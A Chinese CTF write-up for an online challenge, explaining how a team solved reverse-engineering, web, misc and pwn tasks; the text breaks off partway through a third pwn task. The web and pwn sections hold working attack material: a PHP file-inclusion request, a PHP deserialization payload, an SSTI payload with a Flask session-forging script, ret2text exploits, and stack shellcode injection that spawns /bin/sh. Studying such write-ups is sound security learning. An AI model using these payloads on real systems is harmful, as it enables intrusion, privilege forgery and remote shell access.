2026御网杯线上挑战赛WriteUp(AK)

==By Narcissu战队==.

感谢队友带我飞 :grinning:。

注:为想复盘的师傅提供可参考的思路。本wp除了密码ECB题目无法爆破求解没有给出wp外其余题目均已覆盖。仅供学习交流。

[toc]

//图片链接加载不了的去下载附件看。

Reverse

(一)CrackMe_1_3.apk

题目截图

解题思路

1. 文件格式分析

拿到题目,是个apk文件,用JEB定位主函数MainActivity,发现校验逻辑是藏在native层的libmyapplication.so库。这里基本是干扰项。

libmyapplication.so

定义了 4 个校验方法,分别调用不同的 native 函数:

a() → NativeBridge.c()

aaa() → NativeBridge.cd()

bbbb() → NativeBridge.dc()

bc() → NativeBridge.ab()

这里abc函数基本是干扰项。

只有 this.binding.btnVerify.setOnClickListener((View v) -\>
this.a(v));是真正的校验。

2. IDA静态

解压apk文件,提取so库,然后拖入IDA中静态分析

导出表里能看到:

  • Java_com_cr_myapplication_MainActivity_stringFromJNI(@0x24a00)------
    反编译发现只是返回
    "Hello from C++",干扰项。
  • JNI_OnLoad(@0x24f80)------ 真正入口。

跟进 JNI_OnLoad → 调 sub_25070:

Class = FindClass(env, "com/cr/myapplication/NativeBridge");
RegisterNatives(env, Class, off_57214, 3);   // 注册 3 个方法

读 off_57214 这个 JNINativeMethod[3](每项 3 个指针):

name

signature

fnPtr

a

([B)[B

0x25110

b

([B)[B

0x25250

c

(Ljava/lang/String;)Z

0x25390

签名 (Ljava/lang/String;)Z(String→boolean)的 c 就是校验函数。

校验函数逻辑

StringUTFChars = GetStringUTFChars(input);     // 取输入字符串
build std::string obj(StringUTFChars);
data = obj.c_str(); len = obj.size();
sub_257A0(obj_1, data, len);                   // ★核心变换:返回字节数组
sub_27590(obj_2, obj_1);                        // 把字节数组转成 hex 字符串
for (i = 0; i < 8; i++)                          // sub_27750() 恒返回 8
    if (sub_27760(obj_2, &string_array[i]))      // 与第 i 个目标串比较
        return 1;                                // 命中任一即通过
return 0;
  • sub_27590 是 bytes→hex :查表
    byte_F371 = "0123456789abcdef"(小写),每字节
    push_back(table[b>>4]); push_back(table[b&0xF])。
  • sub_27760 是字符串比较。
  • 目标是个 std::array<std::string,8>,地址 0x5A1CC。
3. 核心变换 ChaCha20

sub_257A0:

sub_25AF0(out, len);          // 分配 len 字节输出
counter = 1;                  // ★ 计数器从 1 开始
for (i = 0; i < len; i += n) {
    sub_26D20(key_ptr, counter++, nonce_ptr, block);  // 生成 64 字节 keystream
    n = min(64, len - i);
    for (j = 0; j < n; j++)
        out[i+j] = block[j] ^ data[i+j];               // 明文 XOR keystream
}

典型的 64 字节分块、计数器逐块自增的流密码。再看 keystream 生成器
sub_26D20:

memcpy(state, "expand 32-byte k", 16);   // ← ChaCha 魔数
state[4..11]  = key   (32 字节, 小端)      // 来自 key_ptr = &unk_F345
state[12]     = counter
state[13..15] = nonce (12 字节, 小端)      // 来自 nonce_ptr = &unk_F365
for (i = 0; i < 10; i++) {                // 10 次双轮 = 20 轮
    QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15);   // 列轮
    QR(0,5,10,15);QR(1,6,11,12);QR(2,7,8,13); QR(3,4,9,14);     // 对角轮
}
for (j=0;j<16;j++) out[j] = state[j] + init[j];

quarter-round sub_27200 旋转量 16 / 12 / 8 / 7,字读写
sub_271C0/sub_27310 为小端。→ 这就是标准 ChaCha20(RFC 8439),唯一"非标"是块计数器从 1
开始(不是 0)。

4. 解密

校验逻辑:hex(ChaCha20_XOR(flag)) == target_hex。由于 XOR 流密码自反(同 key/nonce/counter),所以:

flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)

import struct

def rotl(x, n): return ((x << n) & 0xffffffff) | (x >> (32 - n))

def qr(s, a, b, c, d):
    s[a]=(s[a]+s[b])&0xffffffff; s[d]^=s[a]; s[d]=rotl(s[d],16)
    s[c]=(s[c]+s[d])&0xffffffff; s[b]^=s[c]; s[b]=rotl(s[b],12)
    s[a]=(s[a]+s[b])&0xffffffff; s[d]^=s[a]; s[d]=rotl(s[d],8)
    s[c]=(s[c]+s[d])&0xffffffff; s[b]^=s[c]; s[b]=rotl(s[b],7)

def block(key, counter, nonce):
    const = b"expand 32-byte k"
    s  = list(struct.unpack('<4I', const))
    s += list(struct.unpack('<8I', key))
    s += [counter]
    s += list(struct.unpack('<3I', nonce))
    w = list(s)
    for _ in range(10):
        qr(w,0,4,8,12); qr(w,1,5,9,13); qr(w,2,6,10,14); qr(w,3,7,11,15)
        qr(w,0,5,10,15); qr(w,1,6,11,12); qr(w,2,7,8,13); qr(w,3,4,9,14)
    out = [(w[i]+s[i]) & 0xffffffff for i in range(16)]
    return struct.pack('<16I', *out)

def chacha20(key, nonce, data, counter=1):
    res = bytearray(); ctr = counter
    for i in range(0, len(data), 64):
        ks = block(key, ctr, nonce); ctr += 1
        res += bytes(c ^ k for c, k in zip(data[i:i+64], ks))
    return bytes(res)

key   = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3,
               0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])
nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])
target_hex = ("d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19"
              "8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620"
              "799d36adc57c")

flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)
print(flag.decode())

flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}

(二)CrackMe_2_2.apk

题目截图

解题思路

1. 文件格式分析

拿到题目,apk框架。扔JEB里面找到主函数进行反编译。看逻辑

public static native boolean verifyFlag(String arg0) {}

这个 native 方法 在整个 MainActivity 里从未被调用。

onCreate 只调了 b()

所有真正的逻辑都集中在 b() 方法里。

b() 在做什么?------ 动态加载 dex

结论:真正的输入框、校验按钮、校验逻辑全部都在 classes3.dex 里的
com.cr.test.wide 类中。

2. 校验逻辑

定位JEB里面的classes3.dex函数。看真正的校验逻辑

发现校验最终落在 libcrackme2.so 的
Java_com_cr_crackme2_MainActivity_verifyFlag层

3. 调试so库

解压apk文件IDA调试so库,定位校验函数

看懂 verifyFlag(0x240f0)

input = GetStringUTFChars(jstr);
len   = strlen(input);
ptr   = sub_24440(input, len, &size);             // ① PKCS#7 填充
ptr_1 = malloc(size);
des_ecb_encrypt(ptr, size, "12345678", ptr_1);    // ② DES-ECB 加密 → ptr_1
bytesToHex(v10, ptr, len_blocks);                  // ③ 对【ptr】做 hex(注意是明文!)
sub_23DC0(v10);
for (i = 0; i < 1; i++)
    if (sub_24510(&byte_58010[12*i], v10))         // ④ 与目标串比较
        v6 = 1;                                     // 通过
free(ptr); free(ptr_1);
return v6;

逐个看子函数:

① sub_24440 = PKCS#7 填充(块大小 8):

pad  = 8 - len % 8;        // 1..8
size = len + pad;
out  = malloc(size);
memcpy(out, input, len);
for (i = len; i < size; i++) out[i] = pad;   // 用 pad 值填充

注意:当 len 已是 8 的倍数时,pad = 8,会补满一整块 8 个
0x08(标准 PKCS#7 行为)。

② des_ecb_encrypt:把 ptr 用 key "12345678" 做 DES-ECB,输出到
ptr_1。

③ bytesToHex(_Z10bytesToHexPhi,签名
bytesToHex(unsigned char*, int),返回 std::string):标准
bytes→hex。
注意 verifyFlag 的反编译里把长度参数显示丢了,但实际调用是
bytesToHex(sret=v10, data=ptr, len),hex 的对象是
ptr(填充后的明文),不是 ptr_1(DES 密文)。

④ sub_24510:std::string 比较,把结果与 byte_58010
处目标串比。

2.3 关键陷阱:DES 是幌子

ptr_1(DES 密文)算出来后直接被 free,全程没参与任何比较。

也就是说 "12345678" + DES 是纯干扰(red herring)。真正的判定是:

hex( PKCS7_pad(flag) ) == 目标串

怎么验证"hex 的是明文不是密文"?看下一步目标值解码出来是不是 flag{...}
就知道了------如果是明文,解出来直接可读;如果是密文,解出来是乱码。

4. 提取目标值

byte_58010(std::string)静态看是空,找初始化函数 sub_23DF0(被
__cxa_atexit 注册):

std::string::basic_string(byte_58010,
  "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808");
5. 解题思路与脚本

直接对目标 hex 解码,再剥掉 PKCS#7 填充即可:

h = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"

b = bytes.fromhex(h)

print(b)                

pad = b[-1]              

flag = b[:-pad]          

print(flag.decode())    

flag{HNCTF62RDYNTFMZ1TF}

(三)py_obf_10.pyc

题目截图

解题思路

1. 文件格式分析

拿到题目,发现是个pyc文件。使用pycds工具将他转成汇编语言:

2. pyc反汇编

用VSCode打开,发现有些部分字符串乱码。没事直接丢给AI 让它帮我们修复

3. 还原py代码

还原成py代码就是

import base64

def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return ''.join(chr(b ^ key) for b in decoded)

def main():
    encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
    xor_key = 15
    user_input = input('请输入flag: ').strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print('正确!')
        return
    print('错误!')

if __name__ == '__main__':
    main()

逻辑超级简单。一遍过的逆向题目。

4. flag:解密
import base64
print(''.join(chr(b ^ 15) for b in base64.b64decode('aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly')))

flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}

(四)rerere.exe

题目截图

解题思路

1.查壳

PE 文件,查壳。无壳

项

值

文件

rerere.exe

架构

x86-64 PE (image base 0x140000000)

编译器

GCC (GNU) 15.1.0 / MinGW-w64

MD5

2b493f3ccbf3db74e21fa4f4ba8ec33b

SHA-256

a3475477f494e2066aad95c1b42e823d1d81d21aa6fce07cc3da2cf032b0f4bb

2.IDA静态分析,字符串查找定位

对字符串 "Input: "(0x140004000)做交叉引用,落在
sub_1400014FB(即 main):

sub_1400026F0("Input: ");
fgets(Buffer, 64, stdin);
n = strlen(Buffer);
if (Buffer[n-1] == '\n') { Buffer[n-1] = 0; n--; }   // 去掉换行
if (n == 38 && sub_140001480(Buffer, 38))
    puts("Correct!");
else
    puts("Wrong!");

→ flag 长度固定 38,由 sub_140001480 校验。

sub_140001480(Buffer, 38)\:`

for (v2 = 0; v2 < 38; v2++) {
    if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 & 7] ] != byte_140004020[v2] )
        return 0;          // Wrong
}
return 1;                  // Correct

项

值

文件

rerere.exe

架构

x86-64 PE (image base 0x140000000)

编译器

GCC (GNU) 15.1.0 / MinGW-w64

MD5

2b493f3ccbf3db74e21fa4f4ba8ec33b

SHA-256

a3475477f494e2066aad95c1b42e823d1d81d21aa6fce07cc3da2cf032b0f4bb

3. 加密逻辑

sbox[ input[i] ^ key[i & 7] ] == target[i] (i = 0..37)

4. 解密
#!/usr/bin/env python3

# -*- coding: utf-8 -*-

"""

rerere.exe  -  reproducible solver

Validation logic (sub_140001480, called from main sub_1400014FB with n=38):

    for i in range(38):

        if sbox[ input[i] ^ key[i & 7] ] != target[i]:

            return WRONG

    return CORRECT

  target = byte_140004020  (38 bytes)

  key    = byte_140004048  (8-byte cyclic XOR key)

  sbox   = byte_140004060  (256-byte substitution table, a full bijection)

Because sbox is a bijection we can invert it uniquely:

    input[i] = inv_sbox[ target[i] ] ^ key[i & 7]

"""

# byte_140004020 (38 bytes) - expected sbox outputs

target = [

    0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53,

    0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96,

    0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,

]

# byte_140004048 (8 bytes) - cyclic XOR key

key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]

# byte_140004060 (256 bytes) - substitution box

sbox = [

    0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a,

    0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30,

    0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74,

    0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0,

    0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8,

    0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19,

    0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9,

    0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48,

    0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b,

    0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e,

    0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c,

    0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87,

    0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8,

    0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3,

    0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8,

    0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,

]

assert len(sbox) == 256 and len(set(sbox)) == 256, "sbox must be a bijection"

inv = [0] * 256

for i, v in enumerate(sbox):

    inv[v] = i

flag = ''.join(chr(inv[target[i]] ^ key[i & 7]) for i in range(38))

# forward re-check exactly as the binary does

assert all(sbox[ord(flag[i]) ^ key[i & 7]] == target[i] for i in range(38))

print(flag)

assert flag == 'flag{1470e2b8be617231cef8d657f4a1cba2}'

Flag: flag{1470e2b8be617231cef8d657f4a1cba2}

Web

(一)OA System Portal

题目截图

解题思路

  1. 这是一个 PHP 文件包含题,核心代码可通过 php://filter 读出:

module = isset(GETmodule) ? GETmodule :
public_notices.php;

module = str_replace(../, , module);

include(module);

  1. 问题在于程序只过滤了 ../,没有禁止绝对路径和 PHP stream
    wrapper,因此可以读取源码并进一步尝试包含敏感文件。
  2. 先使用下面的参数读取 index.php 源码:
?module=php://filter/convert.base64-encode/resource=index.php
  1. 源码确认 include(module) 可直接包含用户传入路径后,尝试常见
    flag 路径,
    /flag.txt 命中。
  2. 最终利用请求如下:
http://47.99.147.34:22508/?module=/flag.txt
  1. 拿到 flag:

flag{486494bb06932e628c595d285df9eae9}

Flag 值截图

(二)WEB-PHP_Payment

题目截图

解题思路

  1. 分析优惠券接口时发现用户可控数据被直接反序列化:
\$decoded = base64_decode(\$couponData);

\$promo = \@unserialize(\$decoded);
  1. 继续查看 tmp/ctf_src/src/models.php:12,发现 PromoManager
    的析构函数会在请求结束时把
    promo_credit 加入当前 session 余额:
function \_\_destruct() {

if(isset(\$this-\>promo_credit) && is_numeric(\$this-\>promo_credit)) {

\$\_SESSION\[\'balance\'\] += intval(\$this-\>promo_credit);

}

}
  1. tmp/ctf_src/src/buy.php:34\`` 中购买 flag 需要 99999
    金币,初始余额只有 20。因此只要伪造一个 \
    PromoManager 对象,并把
    \promo_credit` 设置成足够大的数字,就可以在请求结束时自动给当前
    session 加钱。
  2. 需要注意余额存在 SESSIONbalance
    里,所以领取优惠券和购买 flag 必须使用同一个
    PHPSESSID。
  3. 构造序列化对象:
O:12:\"PromoManager\":2:{s:12:\"promo_credit\";i:100000;s:10:\"promo_code\";s:1:\"x\";}
  1. 对应 Base64:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==
  1. 先访问首页获取自己的 PHPSESSID,再用同一个 session 调用
13. \`/api/apply_coupon.php\`:

POST /api/apply_coupon.php HTTP/1.1

Host: 47.99.147.34:28542

Cookie: PHPSESSID=你的session

Content-Type: application/x-www-form-urlencoded

coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==
  1. apply_coupon.php 虽然只返回 Coupon processed.,但请求结束时
\`PromoManager::\_\_destruct()\` 

会执行,把余额写入 session。

  1. 再用同一个 session 调用 /buy.php 购买 flag:
POST /buy.php HTTP/1.1

Host: 47.99.147.34:28542

Cookie: PHPSESSID=同一个session

Content-Type: application/x-www-form-urlencoded

item=flag
  1. 最终拿到 flag:

flag{4eab66d7fffeba5ede642960f36c0100}

Flag 值截图

(三)WEB-Snake_Game

题目截图

解题思路

  1. 进入游戏后开启 Burp Suite 抓包,观察提交分数的请求。
  2. 题目校验点在分数参数上,服务端会根据提交的分数判断是否回显 flag。
  3. 直接在 Burp Suite 中修改数据包,把提交分数改成大于 300 的数值。
  4. 放行修改后的请求,页面返回 flag。

Flag 值截图

(四)WEB-TaxSystem_SSTI

题目截图

解题思路

  1. 阅读源码,\ctf_vam/SRC/init_db.py:36` 写死了账号密码:

admin / 123456

  1. ctf_vam/SRC/app.py:53 的 /api/import 允许当前用户更新
    state、custom_footer 等字段,但没有做状态流转校验。
  2. ctf_vam/SRC/app.py:79 中,只要 profile 的 state ==
    AUDIT_PENDING,就会把 custom_footer 直接拼进
    template_html,再交给 render_template_string() 渲染,形成
    SSTI。
  3. 黑名单拦截了
    、、引号、request、session、system
    等字符串,但
    {{config}} 不在黑名单中,并且 Flask
    模板上下文默认可以访问
    config。
  4. ctf_vam/SRC/app.py:160 的 /admin/vault 只检查
    sessionrole == tax_inspector。因此拿到真实
    SECRET_KEY 后,即可伪造 Flask session 访问后台金库。
  5. 先用源码中的账号登录:

admin / 123456

  1. 调用 /api/create_profile 创建自己的档案。
  2. 调用 /api/import,把该 profile 改成待审计状态并写入 SSTI
    payload:

{

state: AUDIT_PENDING,

custom_footer: {{config}}

}

  1. 访问 /preview/profile_id,页面回显 Flask 配置,获取远端真实
    SECRET_KEY:

secret_tax_key_2026_xoxo

  1. 注意远端真实 key 和本地 ctf_vam/SRC/config.py:4 的默认 key
    不一样,不能直接使用源码默认值伪造。
  2. 使用泄露出来的 SECRET_KEY 伪造 session:

{user_id: 1, role: tax_inspector}

  1. 带着伪造后的 session cookie 访问 /admin/vault,拿到 flag。
  2. 利用脚本如下:
import re

import html

import requests

from flask import Flask

from flask.sessions import SecureCookieSessionInterface

BASE = \"http://120.27.146.76:12426\"

s = requests.Session()

\# 1. 登录

s.post(BASE + \"/login\", data={

\"username\": \"admin\",

\"password\": \"123456\"

}, timeout=8)

\# 2. 创建 profile

s.post(BASE + \"/api/create_profile\", timeout=8)

\# 3. 拿最新 profile_id

dash = s.get(BASE + \"/dashboard\", timeout=8).text

pid = max(map(int, re.findall(r\"/preview/(\\d+)\", dash)))

\# 4. 写入 SSTI

s.post(BASE + \"/api/import\", json={

\"profile_id\": pid,

\"data\": {

\"state\": \"AUDIT_PENDING\",

\"custom_footer\": \"{{config}}\"

}

}, timeout=8)

\# 5. 读取真实 SECRET_KEY

preview = html.unescape(s.get(f\"{BASE}/preview/{pid}\",
timeout=8).text)

secret = re.search(r\"\'SECRET_KEY\': \'(\[\^\'\]+)\'\",
preview).group(1)

print(\"\[+\] SECRET_KEY =\", secret)

\# 6. 伪造 tax_inspector session

app = Flask(\_\_name\_\_)

app.secret_key = secret

serializer = SecureCookieSessionInterface().get_signing_serializer(app)

cookie = serializer.dumps({\"user_id\": 1, \"role\": \"tax_inspector\"})

print(\"\[+\] forged session =\", cookie)

\# 7. 访问金库拿 flag

r = requests.get(BASE + \"/admin/vault\", cookies={\"session\": cookie},
timeout=8)

flag = re.search(r\"flag\\{\[\^}\]+\\}\", r.text).group()

print(\"\[+\] flag =\", flag)
  1. 最终拿到 flag:

flag{8fe0832554e14a96448f6aa57257ffc6}

Flag 值截图

Misc

(一)签到题-损坏的压缩包

题目截图

解题思路

压缩包解压出来一个txt文件,里面是一个类似于base64的密文,赛博厨子解码

获取 flag

flag{fkvl}

(二)幻影

题目截图

解题思路

解压拿到data.bin,010打开可以清晰看到RAR的文件头,但只有头,后面是单纯的文本信息

从文本可以得到提示,flag进行了异或和base64加密,下面的真flag就是base64加密结果,因为没有给出异或的密钥,我们解base64后,尝试写脚本爆破。

import base64

enc = "p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8"
raw = base64.b64decode(enc)

for key in range(256):
    dec = bytes(b ^ key for b in raw)
    if dec.startswith(b"flag{"):
        print("key =", hex(key), key)
        print(dec.decode())
        break

得到异或密钥0xc1和flag。

获取 flag

flag{73932255-fa4b-4242-bc77-128324d76da6}

(三)迷宫

题目截图

解题思路

多层压缩包嵌套,但没有套太多,第四层就拿到vault.bin了

010打开就是一段base64,解码拿到flag

获取 flag

flag{e622093e1bbe5aacb0ce77f68d3d7e7d}

(四)像素中的秘密

题目截图

解题思路

解压拿到一张白色png,010打开可以看到完全就是纯白图片,像素相关隐写就不用考虑了

可以确定信息一定在图片末尾额外的数据里

因为题目名为像素中的秘密,我们猜测可能和LCG算法有关。正好数据被分为了三块,我们将00000000和69CB3446尝试作为LCG的seed。在69CB3446作为seed时出现有意义信息。

base62解码16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN得到flag

解密脚本

def lcg_xor_decrypt_embedded() -> bytes:
    x = 0x69CB3446

    cipher = b''.join([
    b'\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51',
    b'\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF',
    b'\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6',
    b'\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E'])

    result = bytearray()
    for b in cipher:
        x = (1664525 * x + 1013904223) & 0xffffffff
        key = x & 0xff
        result.append(b ^ key)
        
    return bytes(result)

if __name__ == "__main__":
    decrypted = lcg_xor_decrypt_embedded()
    print("解密结果 (Hex):", decrypted.hex())
    print("解密结果 (Str):", decrypted)

获取 flag

flag{final_flag_png_lcg}

Pwn

(一)PWN-Authenticate

题目截图

解题思路

一、题目信息

题目名称 PWN-Authenticate

题目分类 PWN

题目难度 初级

题目分值 200

题目附件 vuln.zip

靶机地址 47.99.147.34:27711

二、保护检查

获取附件后先使用 checksec 查看保护。程序没有 Canary,且 No
PIE,适合通过栈溢出覆盖返回地址并 ret2text。

图 1:checksec 保护信息

三、漏洞定位

login 函数中 Password 输入使用 gets(password),password 位于
rbp-0x80,gets 无长度限制,因此可以覆盖返回地址。

图 2:login 函数中 gets 导致栈溢出

void login() { char password0x80; char username0x40; read(0, username, 0x40); gets(password); }

四、后门函数

程序自带 backdoor 函数,其内部调用 system(/bin/sh)。由于 No
PIE,backdoor 地址固定为 0x4011f6。

图 3:backdoor 函数调用 system(/bin/sh)

五、偏移与 payload

gets 写入起点为 rbp-0x80,返回地址在 rbp+0x8,因此偏移为 0x80 + 8 =
136。为了保证 system 调用时栈对齐,在 backdoor 前加入 ret gadget
0x40101a。

图 4:栈布局和返回地址覆盖偏移

图 5:ret2backdoor payload 链

payload = bA 136 + p64(0x40101a) + p64(0x4011f6)

六、利用脚本

先发送任意 Username,再在 Password 处发送溢出 payload。返回时跳转到
backdoor,获取 shell 后读取 flag。

图 6:核心利用脚本片段

  #!/usr/bin/env python3\
  from pwn import \*\
  \
  context(os=\'linux\', arch=\'amd64\', log_level=\'info\')\
  \
  HOST = \'47.99.147.34\'\
  PORT = 27711\
  \
  ret = 0x40101a\
  backdoor = 0x4011f6\
  offset = 136\
  \
  payload = b\'A\' \* offset + p64(ret) + p64(backdoor)\
  \
  io = remote(HOST, PORT)\
  io.sendlineafter(b\'Username: \', b\'test\')\
  io.sendlineafter(b\'Password: \', payload)\
  \
  io.sendline(b\'cat flag\')\
  io.interactive()
七、获取 flag

运行 exp 后成功进入 shell,执行 cat flag 得到 flag。

图 7:flag 获取结果与时间戳

flag{bda7ca24b316a799200260fa3ca545eb}

八、总结

本题为 ret2text 栈溢出。利用 gets 覆盖返回地址,偏移为 136;程序没有
PIE,backdoor 地址固定为 0x4011f6;加入 ret gadget 0x40101a
完成栈对齐,最终触发 system(
/bin/sh)

(二)PWN-MessageBoard

题目截图

解题思路

一、题目信息

题目名称 PWN-MessageBoard

题目分类 PWN

题目难度 初级

题目分值 200

题目附件 vuln.zip

靶机地址 120.27.146.76:10406

二、保护检查

程序无 Canary,No PIE,且栈可执行;结合栈地址泄露,可以直接进行
shellcode 注入。

图 1:checksec 保护信息

三、漏洞定位

vuln 函数打印 buf 地址后,使用 read 读取 0x100 字节到 0x80
字节栈缓冲区,形成栈溢出。

图 2:vuln 函数关键反汇编

图 3:程序输出栈上缓冲区地址

四、偏移计算

buf 位于 rbp-0x80,返回地址位于 rbp+0x8,因此覆盖 saved rip 的偏移为
0x80 + 8 = 136。

图 4:栈布局和返回地址覆盖偏移

五、shellcode 注入

payload 由 NOP sled、execve(/bin//sh) shellcode、填充、fake rbp
和泄露出的 buf 地址组成。

图 5:shellcode 注入利用链

图 6:shellcode 指令逻辑

  payload = b\'\\x90\'\*32 + shellcode\
  payload = payload.ljust(0x80, b\'A\')\
  payload += p64(0xdeadbeefdeadbeef)\
  payload += p64(buf_addr)
六、利用脚本

脚本解析 Buffer at 泄露值,构造 payload 并发送,随后执行 cat /flag。

图 7:核心利用脚本片段

 import re\
  import socket\
  import struct\
  import sys\
  import time\
  \
  HOST = sys.argv\[1\] if len(sys.argv) \> 1 else \"120.27.146.76\"\
  PORT = int(sys.argv\[2\]) if len(sys.argv) \> 2 else 10406\
  BUF_SIZE = 0x80\
  \
  SHELLCODE = bytes.fromhex(\
  \"4831f65648bf2f62696e2f2f736857545f6a3b58990f05\"\
  )\
  \
  def recv_until(sock, marker, timeout=3.0):\
  sock.settimeout(timeout)\
  data = b\"\"\
  while marker not in data:\
  chunk = sock.recv(4096)\
  if not chunk:\
  break\
  data += chunk\
  return data\
  \
  def build_payload(buf_addr):\
  payload = b\"\\x90\" \* 32 + SHELLCODE\
  payload = payload.ljust(BUF_SIZE, b\"A\")\
  payload += struct.pack(\"\<Q\", 0xdeadbeefdeadbeef)\
  payload += struct.pack(\"\<Q\", buf_addr)\
  return payload\
  \
  with socket.create_connection((HOST, PORT), timeout=5) as sock:\
  banner = recv_until(sock, b\"Message: \")\
  print(banner.decode(\"latin1\", \"ignore\"))\
  \
  match = re.search(rb\"Buffer at: (0x\[0-9a-fA-F\]+)\", banner)\
  if not match:\
  raise RuntimeError(\"failed to parse leaked buffer address\")\
  \
  buf_addr = int(match.group(1), 16)\
  print(f\"\[+\] leaked buf = {buf_addr:#x}\")\
  \
  sock.sendall(build_payload(buf_addr))\
  time.sleep(0.2)\
  sock.sendall(b\"cat /flag\\n\")\
  time.sleep(0.5)\
  \
  sock.settimeout(1.0)\
  try:\
  while True:\
  chunk = sock.recv(4096)\
  if not chunk:\
  break\
  print(chunk.decode(\"latin1\", \"ignore\"), end=\"\")\
  except socket.timeout:\
  pass
七、获取 flag

函数返回后跳转到栈上 shellcode,成功获得 shell 并读取 flag。

图 8:flag 获取结果与时间戳

flag{967b9a20b417271ac0d8fc77a772cf48}

八、总结

本题利用点清晰:程序泄露栈地址,且栈可执行;read 溢出覆盖返回地址后跳回
buf,即可执行栈上 shellcode。偏移为 136,最终读取 /flag。

(三)PWN-NoteService

题目截图

解题思路

一、题目信息

题目名称 PWN-NoteService

题目分类 PWN

题目难度 初级

题目分值 400

题目附件 PWN附件.zip

靶机地址 47.99.147.34:21314

二、保护检查

程序开启 NX,但无 Canary 且 No PIE,可以通过 ret2text
跳转到程序自带后门函数。

图 1:checksec 保护信息

三、漏洞定位

vuln 函数中栈缓冲区只有 0x40 字节,但 read 读取 0x100 字节,造成栈溢出。

图 2:vuln 函数中的 read 栈溢出

  void vuln() {\
  char buf\[0x40\];\
  read(0, buf, 0x100);\
  }
四、后门函数

secret_note 函数内部调用 system(/bin/sh),地址固定为 0x401196。

图 3:secret_note 函数调用 system(/bin/sh)

五、偏移与 payload

buf 位于 rbp-0x40,返回地址位于 rbp+0x8,因此偏移为 72。加入 ret gadget
0x40101a 进行栈对齐。

图 4:栈布局与覆盖偏移

图 5:ret2text payload 链

payload = bA 72 + p64(0x40101a) + p64(0x401196)

六、利用脚本

